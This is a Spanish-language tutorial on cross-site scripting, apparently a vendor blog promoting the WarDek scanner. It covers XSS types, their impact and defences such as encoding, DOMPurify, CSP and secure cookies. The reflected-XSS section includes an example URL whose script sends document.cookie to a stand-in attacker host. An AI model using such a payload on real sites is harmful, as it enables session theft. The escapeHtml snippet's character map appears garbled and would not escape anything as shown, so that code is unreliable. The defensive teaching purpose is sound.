Cross-Site Scripting (XSS) sigue siendo una de las vulnerabilidades más explotadas en la web. Según OWASP, aparece en el 75% de las aplicaciones web auditadas. Un ataque XSS permite a un atacante ejecutar código JavaScript en el navegador de tus usuarios, robando sesiones, redirigiendo a sitios maliciosos o modificando el contenido de la página.
Tipos de XSS
XSS Reflejado (Reflected)
El payload malicioso se envía como parte de la petición (URL, formulario) y se refleja inmediatamente en la respuesta del servidor sin sanitizar.
Ejemplo de URL maliciosa:
https://tusitio.es/buscar?q=<script>document.location='https://atacante.com/robar?c='+document.cookie</script>
Si el servidor devuelve el parámetro q sin sanitizar en el HTML, el script se ejecuta en el navegador de la víctima.
Vector de ataque: enlaces maliciosos enviados por email, redes sociales o mensajería.
XSS Almacenado (Stored)
El payload malicioso se almacena permanentemente en el servidor (base de datos, comentarios, perfiles) y se ejecuta cada vez que un usuario visualiza el contenido infectado.
Ejemplo: un atacante publica un comentario que incluye un tag <script> con código para enviar las cookies del visitante a un servidor externo. Todos los usuarios que lean ese comentario son afectados.
Vector de ataque: formularios de comentarios, perfiles de usuario, mensajes, cualquier input almacenado.
XSS basado en DOM
El payload no pasa por el servidor. El JavaScript del lado del cliente manipula el DOM de forma insegura a partir de fuentes controlables por el usuario (URL, localStorage).
Vector de ataque: manipulación de URL, parámetros de fragmento (#), postMessage. El código JavaScript vulnerable toma datos del URL y los inserta en la página sin sanitizar.
Impacto de un ataque XSS
- Robo de sesión: el atacante obtiene las cookies de sesión y suplanta al usuario
- Keylogging: captura todo lo que el usuario escribe (contraseñas, datos de tarjeta)
- Phishing: modifica el contenido de la página para solicitar credenciales
- Propagación de malware: redirige a sitios que descargan malware
- Defacement: modifica el aspecto del sitio para dañar la reputación
- Minería de criptomonedas: usa el navegador de la víctima para minar
Protección lado servidor
1. Encoding de salida (Output Encoding)
La defensa principal: codificar todos los datos dinámicos antes de insertarlos en el HTML.
// SEGURO — encoding HTML antes de insertar en la respuesta
function escapeHtml(text) {
const map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' };
return text.replace(/[&<>"']/g, m => map[m]);
}
res.send(`<p>Bienvenido, ${escapeHtml(username)}</p>`);
Nunca insertes datos de usuario directamente en el HTML mediante concatenación de strings sin encoding previo.
2. Validación de entrada (Input Validation)
Validar todos los inputs con esquemas estrictos:
import { z } from 'zod';
const commentSchema = z.object({
text: z.string().min(1).max(5000),
author: z.string().min(1).max(100).regex(/^[a-zA-ZáéíóúñÑ\s]+$/),
});
3. Sanitización HTML (cuando necesitas HTML rico)
Si necesitas permitir HTML limitado (editor WYSIWYG, markdown), usa DOMPurify:
import DOMPurify from 'dompurify';
// Sanitizar HTML — elimina scripts, eventos, atributos peligrosos
const cleanHtml = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href'],
});
Regla de oro: nunca insertes HTML de usuario en la página sin pasar por un sanitizador. DOMPurify es el estándar de la industria.
4. Content Security Policy
CSP es la segunda línea de defensa. Incluso si un XSS pasa la sanitización, CSP puede bloquear la ejecución:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'
Protección lado cliente (frameworks modernos)
React
React escapa automáticamente el contenido en JSX:
// SEGURO — React escapa automáticamente
return <p>Bienvenido, {username}</p>;
Evita usar APIs que insertan HTML crudo sin sanitizar. Si es imprescindible insertar HTML dinámico, sanitiza siempre con DOMPurify primero.
Vue
Vue también escapa por defecto con interpolación {{ }}. Evita v-html con contenido de usuario sin sanitizar.
Angular
Angular sanitiza automáticamente las interpolaciones y marca como inseguro el contenido sin sanitizar.
Cookies seguras
Protege las cookies de sesión contra robo por XSS:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
HttpOnly: la cookie no es accesible desde JavaScript (protección principal contra robo por XSS)Secure: solo se envía por HTTPSSameSite=Lax: no se envía en peticiones cross-site (protección CSRF)
Herramientas de detección
Testing manual
- Burp Suite: proxy de interceptación que detecta XSS reflejado y almacenado
- OWASP ZAP: escáner open source con módulos de detección XSS
- Browser DevTools: inspección de DOM y respuestas para verificar encoding
Testing automatizado
- WarDek: escaneo automático que detecta vectores XSS potenciales
- Nuclei: plantillas específicas para detección de XSS
- Dalfox: herramienta especializada en detección de XSS
Checklist anti-XSS
- [ ] Output encoding en todas las salidas dinámicas
- [ ] Validación de inputs con esquemas estrictos (Zod)
- [ ] DOMPurify para HTML rico (nunca insertar HTML sin sanitizar)
- [ ] Content Security Policy configurada
- [ ] Cookies de sesión con flags
HttpOnly,Secure,SameSite - [ ] Framework moderno con auto-escaping (React, Vue, Angular)
- [ ] No insertar HTML crudo de usuario sin sanitización previa
- [ ] Headers
X-Content-Type-Options: nosniff - [ ] Escaneos periódicos de vulnerabilidades XSS
Cómo WarDek detecta XSS
WarDek incluye un módulo específico de detección XSS:
- Análisis de headers: verificación de CSP, X-XSS-Protection, X-Content-Type-Options
- Detección de puntos de inyección: formularios, parámetros URL, inputs visibles
- Verificación de cookies: flags de seguridad en cookies de sesión
- Puntuación XSS: score específico con recomendaciones priorizadas
Escanea tu sitio web gratis con WarDek — OWASP, NIS2, RGPD, AI Act en un solo escaneo.